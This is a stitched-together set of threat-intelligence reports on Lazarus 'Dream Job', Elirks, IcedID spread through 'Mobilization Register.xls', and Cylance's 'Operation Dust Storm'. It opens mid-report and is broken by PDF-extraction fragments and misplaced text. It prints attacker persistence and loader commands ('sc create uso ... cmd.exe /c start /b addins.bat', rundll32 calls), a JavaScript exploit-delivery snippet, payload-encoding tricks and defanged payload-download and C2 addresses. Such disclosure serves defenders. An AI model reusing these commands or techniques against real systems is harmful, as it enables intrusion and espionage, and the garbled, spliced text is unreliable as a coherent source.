00:29  A file named arm.dat (48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291) is executed with the following command line arguments: CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\adobe\arm.dat,packageautoupdater LimitedSpatialExtent_U_f48182 -d 1440 -i 10 -q 8 -s 5 The arm.dat file is a tool used to take screenshots of web pages viewed on the compromised machine every 10 seconds (SiteShoter), as determined by the command line arguments.
The screenshots are saved in appdata\local with the date at the top of the file.
https://www.bleepingcomputer.com/news/security/bitdefender-fixes-bug-allowing-attackers-to-run-commands-remotely/ 5/8 06:50  The shellcode loader (final.cpl) is executed several times.
07:34  A new CPL file named addins.cpl (5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db) is executed multiple times, which again is another shellcode loader and has the same command line arguments as seen with final.cpl: CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\addins.cpl, AppMgmt EO6-CRY-LS2-TRK3 07:39  A scheduled task is created: sc create uso start auto binPath cmd.exe /c start /b C:\Programdata\addins.bat DisplayName uso The task is used to auto-start and execute addins.bat each time the system is booted.
The task uses the service name uso (a file name previously used in older Dream Job campaigns targeting security researchers).
The attacker runs addins.cpl again to run a command to start the service and then delete the service directly after: CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\addins.cpl, AppMgmt EO6-CRY-LS2-TRK3 sc start uso (via cmd.exe) sc delete uso The following commands were then executed to collect information pertaining to network configuration, current user the attackers are logged in as, active users on the machine, available shared drives, and the contents of the addins directory.
ipconfig /all whoami query user net use dir CSIDL_WINDOWS\addins 07:41  The file addins.cpl is executed again multiple times before a scheduled task is created to run addins.bat again, start the service, and immediately delete the service: sc create uso start auto binPath cmd.exe /c start /b C:\Windows\addins\addins.bat DisplayName uso sc start uso sc delete uso January 20 6/8 The attackers execute addins.cpl again with the same command line as before.
No further activity is observed.
The Lazarus group is likely targeting organizations in the chemical sector to obtain intellectual property to further North Koreas own pursuits in this area.
The groups continuation of Operation Dream Job, as witnessed by Symantec and others, suggests that the operation is sufficiently successful.
As such, organizations should ensure they have adequate security in place and remain vigilant for attacks such as this.
As always, users should be wary of clicking links or downloading files even if they come from seemingly trustworthy sources.
Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise SHA-256 164f6a8f7d2035ea47514ea84294348e32c90d817724b80ad9cd3af6f93d83f8 18686d04f22d3b593dd78078c9db0ac70f66c7138789ad38469ec13162b14cef 1cb8ea3e959dee988272904dbb134dad93539f2c07f08e1d6e10e75a019b9976 2dd29b36664b28803819054a59934f7a358a762068b18c744281e1589af00f1f 32bfdf1744077c9365a811d66a6ea152831a60a4f94e671a83228016fc87615f 35de8163c433e8d9bf6a0097a506e3abbb8308330d3c5d1dea6db71e1d225fc3 4277fcaada4939b76a3df4515b7f74837bf8c4b75d4ff00f8d464169eede01e3 4446efafb4b757f7fc20485198236bed787c67ceffc05f70cd798612424384ce 48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291 4a2236596e92fa704d8550c56598855121430f96fe088712b043cba516f1c76c 54029bd4fcc24551564942561a60b906bee136264f24f43775b7a8e15095a9e0 56da872e8b0f145417defd4a37f357b2f73f244836ee30ac27af7591cda2d283 5e7edc8f1c652f53a6d2eabfbd9252781598de91dbe59b7a74706f69eb52b287 https://blog.google/threat-analysis-group/countering-threats-north-korea/ https://www.broadcom.com/support/security-center/protection-bulletin 7/8 5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db 61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4 67f1db122ad8f01e5faa60e2facf16c0752f6ab24b922f218efce19b0afaf607 7491f298e27eb7ce7ebbf8821527667a88eecd5f3bc5b38cd5611f7ebefde21e 79b7964bde948b70a7c3869d34fe5d5205e6259d77d9ac7451727d68a751aa7d 7aa62af5a55022fd89b3f0c025ea508128a03aab5bc7f92787b30a3e9bc5c6e4 8769912b9769b4c11aabc523a699d029917851822d4bc1cb6cc65b0c27d2b135 8aace6989484b88abc7e3ec6f70b60d4554bf8ee0f1ccad15db84ad04c953c2d 942489ce7dce87f7888322a0e56b5e3c3b0130e11f57b3879fbefc48351a78f6 a881c9f40c1a5be3919cafb2ebe2bb5b19e29f0f7b28186ee1f4b554d692e776 bdb76c8d0afcd6b57c8f1fa644765b95375af2c3a844c286db7f60cf9ca1a22a d815fb8febaf113f3cec82f552dfec1f205071a0492f7e6a2657fa6b069648c6 e1997d1c3d84c29e02b1b7b726a0d0f889a044d7cd339f4fb88194c2c0c6606d e31af5131a095fbc884c56068e19b0c98636d95f93c257a0c829ec3f3cc8e4ba ef987baef9a1619454b14e1fec64283808d4e0ce16fb87d06049bfcf9cf56af3 f29d386bdf77142cf2436797fba1f8b05fab5597218c2b77f57e46b8400eb9de f7359490d6c141ef7a9ee2c03dbbd6ce3069e926d83439e1f8a3dfb3a7c3dc94 f8995634b102179a5d3356c6f353cb3a42283d9822e157502486262a3af4447e ff167e09b3b7ad6ed1dead9ee5b4747dd308699a00905e86162d1ec1b61e0476 Network 52.79.118.195 61.81.50.174 [URL]/[FOLDER]/[FILENAME]asp?prd_fldracket happy.nanoace[.
]co.kr hxxp://happy.nanoace[.
]co.kr/Content/rating/themes/krajee-fas/FrmAMEISMngWeb.asp 8/8 hxxps://mariamchurch[.
]com/board/news/index.asp hxxps://www.aumentarelevisite[.
]com/img/context/offline.php mariamchurch.com www.aumentarelevisite[.
]com www.juneprint[.
]com www.jungfrau[.
]co.kr www.ric-camid[.
]re.kr File names addins.cpl dolby.cpl ezhelp.cpl final.cpl officecert.ocx wpm.cpl Services arm uso About the Author Threat Hunter Team Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
Kaoru Hayashi Tracking Elirks Variants in Japan: Similarities to Previous Attacks researchcenter.paloaltonetworks.com/2016/06/unit42-tracking-elirks-variants-in-japan-similarities-to-previous-attacks/ A recent, well-publicized attack on a Japanese business involved two malware families, PlugX and Elirks, that were found during the investigation.
PlugX has been used in a number of attacks since first being discovered in 2012, and we have published several articles related to its use, including an analysis of an attack campaign targeting Japanese companies.
Elirks, less widely known than PlugX, is a basic backdoor Trojan, first discovered in 2010, that is primarily used to steal information from compromised systems.
We mostly observe attacks using Elirks occurring in East Asia.
One of the unique features of the malware is that it retrieves its C2 address by accessing a pre-determined microblog service or SNS.
Attackers create accounts on those services and post encoded IP addresses or the domain names of real C2 servers in advance of distributing the backdoor.
We have seen multiple Elirks variants using Japanese blog services for the last couple of years.
Figure 1 shows embedded URL in an Elirks sample found in early 2016.
Figure 1 Embedded URLs in Elirks variant In another sample found in 2014, an attacker used a Japanese blog service.
The relevant account still exists at the time of writing this article (Figure 2).
1/5 http://researchcenter.paloaltonetworks.com/2016/06/unit42-tracking-elirks-variants-in-japan-similarities-to-previous-attacks/ http://researchcenter.paloaltonetworks.com/tag/plugx/ http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/ http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Japan-Figure-1.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Japan-Figure-2.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Japan-Figure-3.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Japan-Figure-4.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Japan-Figure-5.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Japan-Figure-6.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Japan-Figure-7.png Figure 2 Blog account created by the attacker in 2014 Link to previous attack campaign Unit 42 previously identified an Elirks variant during our analysis of the attack campaign called Scarlet Mimic.
It is years-long campaign targeting minority rights activists and governments.
The malware primarily used in this series of attacks was FakeM.
Our researchers described the threat sharing infrastructure with Elirks in the report.
As of this writing, we can note similarities between previously seen Elirks attacks and this recent case in Japan.
Spear Phishing Email with PDF attachment Figure 3 shows an email which was sent to a ministry of Taiwan in May 2012.
2/5 https://www.paloaltonetworks.com/resources/research/scarlet-mimic Figure 3 Spear Phishing Email sent to a ministry of Taiwan The email characteristics were bit similar to the recent case (Table 1).
2012 2016 Email Sender Masquerades as an existing bank in Taiwan Masquerade as an existing aviation company in Japan Email Recipient Representative email address of a ministry of Taiwan, which is publicly available.
Representative email address of a subsidiary company, which is publicly available.
Subject Bank credit card statement in Chinese Airline E-Ticket in Japanese Attachment PDF file named Electronic Billing 1015 in Chinese File named E-TKT in Japanese with PDF icon Table 1 Email characteristics When a user opened the attached PDF file, the following message is displayed.
It exploits a vulnerability in Adobe Flash, CVE-2011-0611 embedded in the PDF and installs Elirks malware on the system.
3/5 Figure 4 opening malicious PDF attachment Airline E-Ticket Attackers choose a suitable file name to lure targeted individual or organization.
In the recent case, the malicious attachment name in the email was reported as E-TKT.
We found similar file name in the previous attack in Taiwan in August 2012 (Figure 5).
Figure 5 Elirks executable file masquerade as folder of E-Ticket When opening the file, Elirks executes itself on the computer and creates ticket.doc to deceive users (Figure 6).
Figure 6 doc file created by Elirks Weve also seen another file name related to aviation at Taiwan in March 2012.
Figure 7 shows PDF file named Airline Reservation Numbers (updated version).pdf.
When opening the PDF file, it displays the exactly same message with the Figure4, exploits CVE-2011-0611 and installs Elirks.
4/5 Figure 7 PDF named Airline Reservation Number Conclusion Currently, we have found no reliable evidence to indicate the same adversary attacked a company in Japan in 2016 and multiple organizations in Taiwan in 2012.
However, we can see some resemblances between the two attacks.
In both cases, attackers used the same malware family, crafted spear phishing emails in a similar manner, and seem to be interested in some areas related to aviation.
We have been seeing multiple Elirks variants targeting Japan in the last few years, potentially indicating an ongoing cyber espionage campaign.
We will keep an eye on the threat actors.
Palo Alto Networks customers are protected from Elirks variant and can gather additional information using the following tools: WildFire detects all known Elirks samples as malicious All known C2s are classified as malicious in PAN-DB AutoFocus tags have been created: Elirks Indicators: Executable File: 8587e3a0312a6c4374989cbcca48dc54ddcd3fbd54b48833afda991a6a2dfdea 0e317e0fee4eb6c6e81b2a41029a9573d34cebeabab6d661709115c64526bf95 f18ddcacfe4a98fb3dd9eaffd0feee5385ffc7f81deac100fdbbabf64233dc68 Delivery PDF: 755138308bbaa9fcb9c60f0b089032ed4fa1cece830a954ad574bd0c2fe1f104 200a4708afe812989451f5947aed2f30b8e9b8e609a91533984ffa55d02e60a2 5/5 https://autofocus.paloaltonetworks.com//tag/Unit42.Elirks Tracking Elirks Variants in Japan: Similarities to Previous Attacks Conclusion Indicators:
1/3 CERT-UA cert.gov.ua/article/39609 Updated 04/18/2022 General information: The government team for responding to computer emergencies in Ukraine CERT-UA revealed the fact of mass distribution among citizens of Ukraine XLS-documents called Mobilization Register.xls.
It was found that if you open the document and activate the macro, the macro will download and run the executable file.
The downloaded EXE file will decrypt and run the GzipLoader malware on your computer, which in turn will download, decrypt and run the IcedID malware.
This malware (also known as BankBot) belongs to the class of banking Trojans and, among other things, provides theft of authentication data.
The activity is targeted and is tracked by UAC-0098.
Compromise indicators: Files: bdfca142fc1408ab2028019775a95a8a 8f7e3471c1bb2b264d1b8f298e7b7648dac84ffd8fb2125f3b2566353128e127 Mobilization Registry.xls 9f33887a8e76c246753e71b896a904b3 65b208943d8cf82af902c39400bdd7a26fdbc94c23f9d4494cf0a2ca51233213 Mobilization Registry.xls 5b4deca6a14eb777fdd882a712006303 de7bcc556dde40d347b003d891f36c2a733131593ce2b9382f0bd9ade123d54a ggthvjhvjhb.xls c52150ad226963a07cfc144d9cea73c7 ac1d19c5942946f9eee6bc748dee032b97eb3ec3e4bb64fead3e5ac101fb1bc8 spisok.exe (2022-04- 07) afc2d797a39caf4765c0c24e1afb1967 2e721087daafbfe9b7d5618dfcdaf23e04344f4f72b2c59e175196bada1cc687 gziploader.exe (2022-02-21) e731e2f1a70b2dd13a4995f9c0106dc4 789992e24d118d7bd213593aa849449c624eb275e000bc406dab25035b99479b forest32.dat 986ce06308ca327e5c75877e5e15d6b8 89594dbae3956eb2bf599e85cd761e89c9d189944b0ddc18cc3973f0fd41c466 init_dll_64.dll (2022-04-05) e9ad8fae2dd8f9d12e709af20d9aefad 84f016ece77ddd7d611ffc0cbb2ce24184aeee3a2fdbb9d44d0837bc533ba238 license.dat 7e6a117ba018be2867329bc5a33e481d 6734ae02e66924b3f071e7d8ea97d2482a2a2a5bac27b251f20d320b0d04a324 module.bin https://cert.gov.ua/article/39609 2/3 Network: rivertimad [.]
com winuvinnosluk [.]
club successilin [.]
top reteredelete [.]
top naffalno [.]
site ritionalvalueon [.]
top oceriesfornot [.]
top arelyevennot [.]
top dogiraftig [.]
com fikasterwer [.]
top jevejosader [.]
top ertimadifa [.]
com rresteraftin [.]
com ndlestomak [.]
top 168 [.]
100.8.42 188 [.]
166,154,118 134 [.]
209.144.87 hXXp: // 168 [.]
100.8.42 / micro [.]
exe hXXp: // 168 [.]
100.8.42 / list [.]
exe hXXp: // rivertimad [.]
com / hXXp: // 168 [.]
100.8.42 / list [.]
exe Hosts: APPDATA \ rand \ rand .dll , DllMain --iydu  SustainDream \ license.dat APPDATA \ SustainDream \ license.dat APPDATA \ runsx.exe TMP \ forest32.dat Graphic images: 3/3
1OPERATION DUST STORM D U S T S T O R M By Jon Gross and the Cylance SPEAR Team O P E R A T I O N     D U S T     D U S T S T O R M     S T O R M D U S T S T O R M D U S T     D U S T S T O R M D U S T O P E R A T I O N      O P E R A T I O N    Nothing strengthens authority so much as 1 During analysis of older command and control infrastructure, there were several domains that resolved to known malicious IP addresses in September 2009.
However, SPEAR was not able to corroborate these dates in any known malware samples.
silence.
TA B LE O F C O N TE N TS EXECUTIVE SUMMARY Cylance SPEAR has uncovered a long-standing persistent threat targeting numerous major industries spread across Japan, South Korea, the United States, Europe, and several other Southeast Asian countries.
Power comes in many forms Our research indicates Operation Dust Storm has been operational since at least early 2010, and has employed a number of different operational techniques, including spear phishing, waterholes, and zero-day exploits over time.
Several antivirus companies initially detected early backdoor samples under the moniker Misdat, but the group has quietly evolved over the years to remain undetected and highly effective.
Attack telemetry in 2015 indicates the Dust Storm group has migrated from more traditional government and defense-related intelligence targets to exclusively seek out organizations involved in Japanese critical infrastructure and resources.
The group recently compromised a wide breadth of victims across the following industry verticals: electricity generation, oil and natural gas, finance, transportation, and construction.
SPEARs current research indicates the groups present focus has shifted to specifically and exclusively target Japanese companies or Japanese subdivisions of larger foreign organizations.
The Early Days: Spear Phishing The earliest indications of the groups activities stem from the compile times of the executable resource section of Misdat samples.
All of the early backdoor samples were compiled using a version of Delphi which notoriously mangles the compilation timestamp of the file to June 19, 1992 22:22:17 UTC.
By using the executable resource section timestamp, SPEAR was able to more accurately gauge the actual compile times of these samples, and traced one of them, bc3b36474c24edca4f063161b25bfe0c90b378b9c19c, to January 20101.
1OPERATION DUST STORM 01 Executive Summary 01 The Early Days: Spear Phishing 03 Identity Crisis: Zero-Day Attacks 04 Into the Future: Japanese Targets 05 Here and Now: Companies Compromised 06 Conclusion 07 Implant Analysis: 07 Misdat Backdoor (2010-2011) 10 MiS-Type Hybrid Backdoor (2012) 13 S-Type Backdoor (2013-2014) 16 Zlib Backdoor (2014-2015) 21 Appendix -Leonardo da Vinci 2 OPERATION DUST STORM 3OPERATION DUST STORM 2 The Symantec article incorrectly states that the Gh0st RAT protocol utilizes SSL, when in fact, it uses Zlib compression.
Very little public information was available throughout 2010 on this threat, despite the groups primary backdoor gaining some level of prominence in targeted Asian attacks.
This may be explained by the groups early reliance on Dynamic DNS domains for their command and control (C2) infrastructure, as well as their use of public RATs like Poison Ivy and Gh0st RAT for second-stage implants.
The actors relied heavily on the free Dynamic DNS providers No-IP (http://www.noip.com), Oray (http:// www.oray.com/) and 3322 (http://www.pubyun.com/) for their infrastructure continuing into 2011 the earliest known backdoors SPEAR identified communicated to 323332.3322.org and 1stone.zapto.org.
It wasnt until June 2011 that Operation Dust Storm started to garner some notoriety from a series of attacks which leveraged an unpatched Internet Explorer 8 vulnerability, CVE-2011-1255, to gain a foothold into victim networks.
In these attacks, a link to the exploit was sent via a spear phishing email from a purported Chinese student seeking advice or asking the target a question following a presentation.
Media coverage of these attacks included http://www.symantec.com/connect/ blogs/inside-back-door-attack , 2 and http://asec.ahnlab.
com/730 which named the early backdoor variants Misdat.
The secondary C2 server from Symantecs writeup was mentioned in news reports elsewhere as honeywells.tk this domain resolved to 111.1.1.66 during early June 2011.
This address is coincidentally the same IP address that one of the earliest Misdat samples that SPEAR identified beaconed to during the same timeframe.
A paper published in August 2011 by Ned Moran via Usenix (https://www.usenix.org/system/files/login/articles/ 105484-Moran.pdf) described in detail an attack by this threat group during April 2011.
The attack was initiated by a spear phishing email that contained a Word document embedded with a zero-day Flash exploit (CVE-2011-0611).
The final payload described in the report matched other confirmed Misdat samples, and beaconed to msejake.7766.
org, which first resolved to 125.46.42.221, then later to 218.106.246.220 at the time of the attack.
As to other documented cases, the attacker started interacting with the infected machine within minutes of compromise to begin manual network and host enumeration.
In October 2011, the group attempted to take advantage of the ongoing Libyan crisis at the time and phish the news cycle regarding Muammar Gaddafis death on October 20, 2011.
It appears that in addition to some US defense targets, this campaign was also directed at a Uyghur mailing list.
This time, the group used a specially crafted malicious Windows Help (.hlp) file, which exploited CVE- 2010-1885.
The hlp files, when opened, would execute a piece of JavaScript code via mshta.exe, which in turn launched a second piece of Visual Basic Script using the Windows scripting host.
This secondary piece of VBS code was then responsible for decoding the payload from the body of the hlp file and executing it.
The first stage payloads used in these attacks were Misdat variants stored base64 encoded within the hlp file.
The samples SPEAR identified both communicated to the domain msevpn.3322.org, which resolved to the IP address 218.106.246.195 at that time.
Pivoting off of this IP address yielded several additional dynamic DNS domains that were used for command and control, as well as several standard domains that were used by the group from May 2010 up until December 2015.
Registration Email Address Domain Name Date First Registered wkymyx (at) 126.com amazonwikis.com April 21, 2010 wkymyx (at) 126.com sfcorporation.com May 5, 2010 wkymyx (at) 126.com adobeus.com June 8, 2011 duomanmvp (at) 126.com adobekr.com May 30, 2010 duomanmvp (at) 126.com moviestops.com June 7, 2011 duomanmvp (at) 126.com moviestops.com December 17, 2012 Figure 1: Domain Registrations for 2010-2011 Early infrastructure for the 2010-2011 timeframe used by the group relied heavily on two email addresses, wkymyx (at) 126.com and duomanmvp (at) 126.com, for domain registration.
The attackers typically used either seemingly random four-character subdomains or common words like image, blog, ssl, pic, mail, news, etc.
There was also evidence to suggest this group attempted to gather user credentials for Yahoo, Windows Live and other accounts through several different phishing domains during July and August 2011.
While SPEAR was unable to recover the original pages served, the domains these pages were hosted on are: login.live.adobekr.com, login.live.wih365.com, and yahoomail.adobeus.com.
Individual IP address resolutions for each of the domains were generally short- lived, with none of them lasting more than a month.
Identity Crisis: Zero-Day Attacks SPEAR identified another Operation Dust Storm campaign in June 2012 that leveraged both CVE-2011-0611, a Flash exploit the group had used previously, and CVE- 2012-1889, an Internet Explorer zero-day.
The attackers used the domain mail.glkjcorp.com to deliver the exploits, and the domain was hosted on the IP address 114.108.150.38 at the time of the attack.
SPEAR was unable to definitively tie this particular exploit site to a watering hole or phishing campaign, however, numerous other CN-APT operators leveraged the Internet Explorer zero-day during the same period using both techniques.
The exploit domain glkjcorp.com was registered shortly before the attack on May 24, 2012.
Two different emails were used in the registration of this domain: effort09 (at) hotmail.com and zaizhong16 (at) 126.com.
This attack was the first to use the file DeployJava.
js to fingerprint installed software on victim systems prior to delivery and ensure a known effective exploit was deployed.
This JavaScript file was first used and documented by Ahnlab a month earlier in the Gong Da Exploit Kit: http://www.ahnlab.com/kr/site/ securityinfo/secunews/secuNewsView.do?menu_ dist2seq19418.
The DeployJava.js worked in conjunction with another script embedded in the exploit page, to deliver the Flash exploit if the version of IE was 8 or 9 or deliver the IE zero-day if the version of IE was 6 or 7.
if (((i9 -1) (i8 -1))w7-1ja) flash.
Movie  vars  else if((i8-1)(xp-1)) flash.
Movie  vars  else if((i6-1i7-1)(xp-1)) document.body.innerHTMLobject classid\clsid:D27CDB6E-AE6D-11cf-9 6B8-444553540000\ width\100\ height\100\ id\ki\param name\mov- ie\ value\vars\ /param name\quality\ value\high\ /param name\bgcolor\ value\ffffff\ /param name\allowScriptAccess\ val- ue\sameDomain\ /param name\allowFullScreen\ value\true\ /\/ob- ject setTimeout(document.body.innerHTML\iframe srcfaq.htm width200 height200\/iframe\,2000)  Figure 2: JavaScript Snippet for Exploit Delivery Choice The DeployJava.js script was used extensively by other APT groups throughout 2012 and 2013, including Nitro in August of the same year.
4 OPERATION DUST STORM 5OPERATION DUST STORM Registration Email Address Domain Name Date First Registered newsq13 (at) hotmail.com tomshardpc.com March 27, 2013 newsq13 (at) hotmail.com wordoscorp.com March 27, 2013 houqiangliuliu (at) 163.com projectscorp.net October 9, 2013 wantsamsung (at) 21cn.com elecarrow.com October 9, 2013 Figure 4: New C2 Domains Registered in 2013 Registration Email Address Domain Name Date First Registered ysymsq (at) 126.com hkabinc.com March 26, 2014 myexmail (at) aol.com exemail.com March 26, 2014 myexmail (at) aol.com sslmails.com March 6, 2015 Figure 5: C2 Domains Registered in 2014 and 2015 Here and Now: Companies Compromised Activity in 2015 was significantly more interesting, and prompted SPEAR to begin studying Operation Dust Storms other activities.
SPEAR identified a number of second-stage backdoors with hardcoded proxy addresses and credentials.
These proxy addresses revealed the attacker had compromised a number of Japanese companies involved in power generation, oil and natural gas, construction, finance, and transportation.
Also of note in this attack: the final payload (hxxp://mail.
glkjcorp.com/pic/win.exe) was delivered encoded with a single-byte XOR against the byte 0x95, skipping both the key itself and zero in an attempt to avoid exposing the key.
This method of obfuscation at the time would have ensured delivery of the payload past most IDS/IPS systems.
The unencoded payload was a hybrid of the older Misdat backdoor and its next generation, the S-Type backdoor.
The backdoor would first attempt to use the old Misdat network protocol and communicate to smtp.
adobekr.com.
If that failed, it would fallback to the newer HTTP-based S-Type protocol which communicated with mail.glkcorp.com.
The group completely abandoned older incarnations of the Misdat backdoor for their first stage implants in 2013, and moved predominantly to the new S-Type backdoors.
A full analysis of both of these backdoors is included in the Implant Analysis section.
Into the Future: Japanese Targets SPEAR noticed a fairly large lull in activity from March 2013 to August 2013.
Coincidentally (or perhaps not), Mandiant released their APT 1 report on February 19, 2013 (https://www.fireeye.com/blog/threat-research/2013 /02/mandiant-exposes-apt1-chinas-cyber-espionage- units.html).
Activity didnt cease entirely, but the volume of malware SPEAR was able to collect during this period was remarkably decreased.
Several new domains were registered during this time period, which would go on to become the crux of the groups operations for the next several years.
There was some anecdotal evidence to suggest Operation Dust Storm leveraged an Ichitaro zero-day CVE-2013- 5990 to target Japanese victims.
This zero-day was first reported publicly on November 12, 2013.
Ichitaro is a popular Japanese word processing program designed by a company called JustSystems.
While SPEAR was unable to find the exact sample that delivered a Misdat payload, our team analyzed numerous other related samples.
The backdoors were encoded within the exploit documents using a very familiar method of XORing skipping zero bytes and the key itself only this time the key used for encoding was 0x85.
Throughout 2013, the other incidents SPEAR identified all deployed the S-Type backdoor exclusively.
This year also marked an epoch in terms of relying on dual persistence locations in case the victim had lower permissions and couldnt perform certain actions like writing to the registry or certain file locations.
Older techniques like using the Startup folder made a resurgence during this time period.
Beginning in February 2014, there was definitive evidence to suggest the group used a watering hole attack on a popular software reseller to deliver an Internet Explorer zero-day, CVE-2014-0322, to a number of unsuspecting targets.
The exploit itself was hosted on hxxp://krtzkj.
bz.tao123.biz/error/pic.html, which at the time of the attack resolved to 126.85.184.190.
During this same time period, the domain js.amazonwikis.com also pointed to this IP address and was used in previous attacks that relied on web-based exploits.
The intermediate payload Erido.jpg was an XOR encoded executable common to other CVE-2014-0322 attacks, which ultimately delivered a variant of the S-Type backdoor to the victim.
Operation Dust Storm also began to branch out in 2014 into establishing and finding alternative means of persistence on victim systems.
SPEAR identified several second-stage samples that needed to be installed as a ServiceDLL in order to work properly, as well as one that functioned as a router manager for the normal Routing and Remote Access Service.
Doing a simple search for this registry key, HKLM\System\CurrentControlSet\ Services\RemoteAccess\RouterManagers\IP\DllPath yielded numerous other pieces of malware however, SPEAR was only able to identify one of the groups samples that took advantage of this.
Several new domains were also registered in 2014 to support expanding operations.
In one case that transpired in early February 2015, SPEAR was able to recover the second-stage implant delivered by a variant of the S-Type backdoor shortly following its initial reconnaissance.
What caught our attention was the fact that the victim was part of the investment arm of a major Japanese automaker.
The attack came just two weeks before eleven unions representing Japans autoworkers demanded a monthly raise of six thousand yen.
(
http://www.bloomberg.com/ news/articles/2015-02-18/japan-auto-workers-seek- pay-raise-to-share-in-record-car-profits) The second-stage implants were also programmed and compiled using Microsoft Visual Studio 6, an archaic version of Visual Studio that seems to be preferred by malware authors.
Despite using an old version of Visual hxxp://114.142.147.53/deployJava.js hxxp://59.120.59.2/eng/img/deployJava.js hxxp://67.192.225.83/us/deployJava.js hxxp://98.129.119.156/CFIDE/debug/includes/deployJava.js hxxp://gifas.cechire.com/fr/deployJava.js hxxp://goddess.nexon.com.au/inc/deployJava.js hxxp://java.ree.pl/meeting/deployJava.js hxxp://jcsh-web.com.cn/ADMIN/inc/conn/deployJava.js hxxp://naedco.com/img/common/t/deployJava.js hxxp://songwol.co.kr/employee/deployJava.js hxxp://spacexmt.spacedevcoop.com/checkplayer/deployJava.js hxxp://tavis.tw/tmp/deployJava.js hxxp://www.jcsh-web.com.cn/admin/inc/conn/deployjava.js hxxp://www.jcsh-web.com.cn/ADMIN/inc/conn/deployJava.js hxxp://www.toisengyo.jp/24/11/deployjava.js Figure 3: Other Later Targeted Attacks Leveraging DeployJava.js 6 OPERATION DUST STORM 7OPERATION DUST STORM IMPLANT ANALYSIS MISDAT BACKDOOR (2010-2011) Most early samples of Misdat were not packed however, following what appeared to be heightened awareness by security vendors, samples in late 2010 and 2011 were typically packed with the executable packer, UPX version 3.03 (hxxp://upx.
sourceforge.net/).
All of the Misdat samples SPEAR identified were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file as a result, SPEAR was forced to use the resource compile times of samples to get a better idea of when the actual backdoors were compiled.
FILE CHARACTERISTICS SHA256  File Size  Resource Compile Time 63bd3f80387e3f2c7130bc3b36474c24 edca4f063161b25bfe0c90b378b9c19c 67,584 Bytes 01-12-2010 19:09:38 UTC 74ff3b246fde30bb3c14483279d4b003 12038957e3956bf8682362044ddccf42 44,544 Bytes 07-07-2010 19:16:28 UTC 38238f14d63d14075824cc9afd9a3b84 df9b9c2f1408ac440458196a9e690db6 22,016 Bytes 07-07-2010 19:16:28 UTC 2978c6cfff1754c85a4a22b6a72dc9e60b- 596b54e65ed5ab2c80b8bc259ca5dc 22,016 Bytes 08-16-2011 00:27:02 UTC 580c7ed2b624a0dfa749909d3e110704 65bd310663d30fb6fe3532ad45d57b8a 43,008 Bytes 08-16-2011 00:27:02 UTC 861edc857e53ff072947c2befc3c372c9 a954a7de5c48c53b99c64ff99b69dbd 43,008 Bytes 08-16-2011 00:27:02 UTC 4241a9371023e7452475117ff1fcd672 62dab56bf1943b5e0c73ff2b2e41f876 23,040 bytes 10-21-2011 20:05:48 UTC File characteristics and resource compile times of known Misdat samples.
HOST-BASED INDICATORS Volatile Evidence: Will create a 32-bit Mutex based upon the MD5 hash of a unique string comprising the volume serial number, decrypted network configuration data, and encoded campaign identifier File System Modifications: The backdoor will copy itself to CommonFiles\Unique Identifier\msdtc.exe It may attempt to open then delete the file C:\2.hiv, c:\t2svzmp.kbp, or c:\tmp.kbm depending on the sample.
Later versions from 2011 all used c:\t2svzmp.kbp Registry Modifications: The malware may create the registry key HKCU\Software\dnimtsoleht\StubPath, HKCU\Software\snimtsOleht\StubPath, or HKCU\Software\Backtsaleht\StubPath for persistence In SPEARs tests, StubPath always pointed to the newly created msdtc.exe binary within the CommonFiles directory, with either the /ok or /start switch depending on the sample May create the Registry Key HKLM\SOFTWARE\Microsoft\Active Setup\Installed.
Components\3bf41072-b2b1-21c8- b5c1-bd56d32fbda7 or HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\3ef41072-a2f1-21c8-c5c1- 70c2c3bc7905 Studio, the backdoor is well designed by comparison and provides a full suite of functionality to the attacker.
No antivirus vendors seem to reliably detect most of the variants SPEAR identified.
Perhaps even more interesting was the fact that the group adopted and eventually customized several Android backdoors to suit their purposes in the beginning of 2015.
The group rapidly expanded their mobile operations in May 2015.
The initial backdoors were relatively simple, and would continually forward all SMS messages and call information back to the C2 servers.
Later variants became much more complex, and included the ability to enumerate and exfiltrate specific files directly from the infected devices.
All of the identified victims for the Android Trojans resided in Japan or South Korea.
The infrastructure to support the Android campaigns was massive in comparison to previous operations.
More than two hundred domains have been identified to date.
SPEAR plans to release more information regarding this threat shortly.
SPEAR discovered two more waves of attacks that started in July 2015 and October 2015.
Interestingly, one of the primary targets was a Japanese subsidiary of a South Korean electric utility.
Similarly, SPEAR identified a separate intrusion into a major Japanese oil and gas company.
The exact motivations for this particular attack were unclear however, if this attack coincided with all previous operations, the most likely goals were reconnaissance and long-term espionage.
CONCLUSION At this time, SPEAR does not believe the attacks were meant to be destructive or disruptive.
However, our team believes that attacks of this nature on companies involved in Japanese critical infrastructure and resources are ongoing and are likely to continue to escalate in the future.
Its clear from SPEARs research that Operation Dust Storm has slowly evolved over time to become increasingly effective.
Early operations were extremely blunt, relatively unsophisticated, and readily picked up by the security industry.
As the group became more and more focused on Japan, less and less of their tactics and malware appeared in reports or write-ups.
The targets identified escalated both in size and in the scope of affected industries.
As a result, SPEAR felt obligated to share with the community and public what was discovered recently, to hopefully stunt the attackers progress for a time.
SPEAR has been closely following the aftermath of public reporting.
